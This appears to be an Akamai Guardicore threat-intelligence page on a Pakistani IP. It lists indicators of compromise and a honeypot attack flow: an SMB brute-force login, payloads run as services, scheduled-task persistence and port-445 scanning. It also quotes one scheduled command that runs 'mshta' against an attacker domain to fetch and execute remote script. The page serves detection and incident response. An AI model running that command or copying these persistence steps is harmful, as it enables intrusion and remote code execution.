Cyber Threat Intelligence

Discover malicious IPs and domains with Akamai Guardicore Segmentation

IP Address: 39.53.235.248Previously Malicious

IP Address: 39.53.235.248Previously Malicious

This IP address attempted an attack on a machine in our threat sensors network

Threat Information

Role

Attacker, Scanner

Services Targeted

MSSQL SMB

Tags

CMD Driver Configuration SMB Service Deletion Successful SMB Login Service Stop SMB Null Session Login Download and Execute Service Creation Service Start Download File Execute from Share Service Configuration Driver Creation SMB Share Connect

Associated Attack Servers

i.haqo.net ii.haqo.net ip.42.pl p.abbny.com pp.abbny.com w.beahh.com

36.37.88.167 196.219.95.172

Basic Information

IP Address

39.53.235.248

Domain

-

ISP

-

Country

Pakistan

WHOIS

Created Date

-

Updated Date

-

Organization

-

First seen in Akamai Guardicore Segmentation

2023-01-20

Last seen in Akamai Guardicore Segmentation

2023-01-21

What is Akamai Guardicore Segmentation
Akamai Guardicore Segmentation is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Akamai Guardicore Segmentation generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

A user logged in using SMB with the following username: Administrator - Authentication policy: Correct Password (Part of a Brute Force Attempt)

SMB Brute Force Successful SMB Login

C:\sdMAGWES.exe was downloaded

Download File

sdmagwes.exe was executed from the remote share \\server-backup\c$

Execute from Share

c:\windows\system32\services.exe installed and started \\server-backup\c$\sdmagwes.exe as a service named fxZq under service group None

Service Start Service Creation

Service fxZq was stopped

Service Stop

c:\windows\system32\services.exe installed and started cmd as a service named AHpw under service group None

Service Start Service Creation

The file c:\windows\system32\drivers\svchost.exe was downloaded and executed 5 times

Download and Execute

c:\windows\system32\services.exe installed and started cmd as a service named gPzS under service group None

Service Start Service Creation

The file C:\WINDOWS\system32\drivers\taskmgr.exe was downloaded and executed 2 times

Download and Execute

The file C:\WINDOWS\Temp\svchost.exe was downloaded and executed 6 times

Download and Execute

Service gPzS was stopped

Service Stop

Process c:\installed2.exe started listening on ports: 65533

Listening

The file C:\WINDOWS\Temp\_MEI13722\python27.dll was downloaded and loaded by c:\windows\temp\_mei13722\python27.dll

Download and Execute

The file C:\WINDOWS\Temp\_MEI13722\msvcr90.dll was downloaded and loaded by c:\windows\temp\_mei13722\msvcr90.dll

Download and Execute

System file C:\WINDOWS\system32\wbem\AutoRecover\88744D2A29102FC88ECF505DD2E984FC.mof was modified

System File Modification

A user logged in using SMB with the following username: Administrator - Authentication policy: Previously Approved User (Part of a Brute Force Attempt) 6 times

SMB Brute Force Successful SMB Login

C:\UujUZsPO.exe was downloaded

Download File

c:\windows\system32\services.exe installed and started \\server-backup\c$\uujuzspo.exe as a service named oUpH under service group None

Service Start Service Creation

uujuzspo.exe was executed from the remote share \\server-backup\c$

Execute from Share

Process c:\windows\temp\svchost.exe started listening on ports: 60124

Listening

Service oUpH was stopped

Service Stop

c:\windows\temp\ttt.exe set the command line C:\WINDOWS\system32\wmiex.exe to run using Persistency - Logon

Persistency - Logon

c:\windows\system32\services.exe installed and started c:\windows\system32\wmiex.exe as a service named WebServers under service group None

Service Start Service Creation

c:\windows\system32\services.exe installed and started c:\windows\system32\drivers\svchost.exe as a service named Ddriver under service group None 4 times

Service Start Service Creation

The file c:\windows\system32\wmiex.exe was downloaded and executed

Download and Execute

The command line C:\WINDOWS\system32\cmd.exe /c C:\WINDOWS\system32\wmiex.exe was scheduled to run by modifying C:\WINDOWS\Tasks\WebServers.job

Executable file c:\windows\system32\drivers\svchost.exe was modified

Executable File Modification

c:\installed2.exe set the command line C:\WINDOWS\system32\drivers\svchost.exe| to run using Persistency - Logon

Persistency - Logon

Process c:\installed2.exe attempted to access suspicious domains: i.haqo.net

DNS Query Access Suspicious Domain

Process c:\windows\system32\wmiex.exe attempted to access suspicious domains: ii.haqo.net and pp.abbny.com

DNS Query Access Suspicious Domain

The command line C:\WINDOWS\system32\cmd.exe /c C:\WINDOWS\system32\drivers\svchost.exe was scheduled to run by modifying C:\WINDOWS\Tasks\Ddrivers.job

Process c:\windows\system32\drivers\svchost.exe started listening on ports: 65533

Listening

c:\windows\system32\services.exe installed and started system32\drivers\tcpip6.sys as a service named Tcpip6 under service group None

Driver Start Service Creation

The file C:\WINDOWS\Temp\_MEI24122\python27.dll was downloaded and loaded by c:\windows\temp\svchost.exe

Download and Execute

The file C:\WINDOWS\Temp\_MEI24122\msvcr90.dll was downloaded and loaded by c:\windows\temp\_mei24122\msvcr90.dll

Download and Execute

System file C:\WINDOWS\security\Database\secedit.sdb was modified

System File Modification

c:\windows\system32\services.exe installed and started %systemroot%\system32\6to4svc.dll as a service named 6to4 under service group NetworkService

Service Start Service Creation

Process c:\windows\system32\drivers\svchost.exe attempted to access suspicious domains: i.haqo.net and p.abbny.com

DNS Query Access Suspicious Domain

c:\windows\system32\services.exe installed and started system32\drivers\smb.sys as a service named Smb under service group None

Driver Start Service Creation

C:\WWjNYMIX.exe was downloaded

Download File

Process c:\windows\temp\svchost.exe started listening on ports: 60124 2 times

Listening

c:\windows\system32\services.exe installed and started \\server-backup\c$\wwjnymix.exe as a service named JiMl under service group None

Service Start Service Creation

wwjnymix.exe was executed from the remote share \\server-backup\c$

Execute from Share

The command line C:\WINDOWS\system32\cmd.exe /c mshta http://w.beahh.com/page.html?pSERVER-BACKUP was scheduled to run by modifying C:\WINDOWS\Tasks\Autocheck.job

Service JiMl was stopped

Service Stop

The command line C:\Windows\temp\svchost.exe was scheduled to run by modifying C:\WINDOWS\Tasks\Autoscan.job

C:\windows\temp\tmp.vbs was downloaded

Download File

Process c:\windows\temp\svchost.exe attempted to access suspicious domains: ip.42.pl

DNS Query Access Suspicious Domain

Process c:\windows\system32\mshta.exe attempted to access suspicious domains: w.beahh.com

DNS Query Access Suspicious Domain

C:\cfKWhOXk.exe was downloaded

Download File

c:\windows\system32\services.exe installed and started \\server-backup\c$\cfkwhoxk.exe as a service named DbuP under service group None

Service Start Service Creation

cfkwhoxk.exe was executed from the remote share \\server-backup\c$

Execute from Share

The file C:\WINDOWS\Temp\_MEI35362\python27.dll was downloaded and loaded by c:\windows\temp\_mei35362\python27.dll

Download and Execute

The file C:\WINDOWS\Temp\_MEI35362\msvcr90.dll was downloaded and loaded by c:\windows\temp\_mei35362\msvcr90.dll

Download and Execute

c:\windows\system32\services.exe installed system32\drivers\tunmp.sys as a service named tunmp under service group None

Service Creation

C:\WINDOWS\Temp\tmp.vbs was downloaded

Download File

Process c:\windows\temp\svchost.exe generated outgoing network traffic to: 192.168.0.10:445, 192.168.0.11:445, 192.168.0.12:445, 192.168.0.1:445, 192.168.0.2:445, 192.168.0.3:445, 192.168.0.4:445, 192.168.0.5:445, 192.168.0.6:445, 192.168.0.7:445, 192.168.0.8:445 and 192.168.0.9:445

Process c:\windows\temp\svchost.exe scanned port 445 on 12 IP Addresses

Port 445 Scan

Process netsvcs Service Group attempted to access suspicious domains: _LDAP._TCP

DNS Query Access Suspicious Domain

Connection was closed due to timeout

Associated Files

C:\WINDOWS\system32\drivers\taskmgr.exe

SHA256: 01b842cab76c78a1d9860ade258923772fe3b08ae7a428d5f54e1bf9d9c3b205

49200 bytes

C:\WINDOWS\Temp\svchost.exe

SHA256: 1b2725ac962259c1664a533b14149294081c958b86e20f043622921b60f6c4a3

3965000 bytes

C:\acJFBNgl.exe

SHA256: 3c2fe308c0a563e06263bbacf793bbe9b2259d795fcc36b953793a7e499e7f71

56320 bytes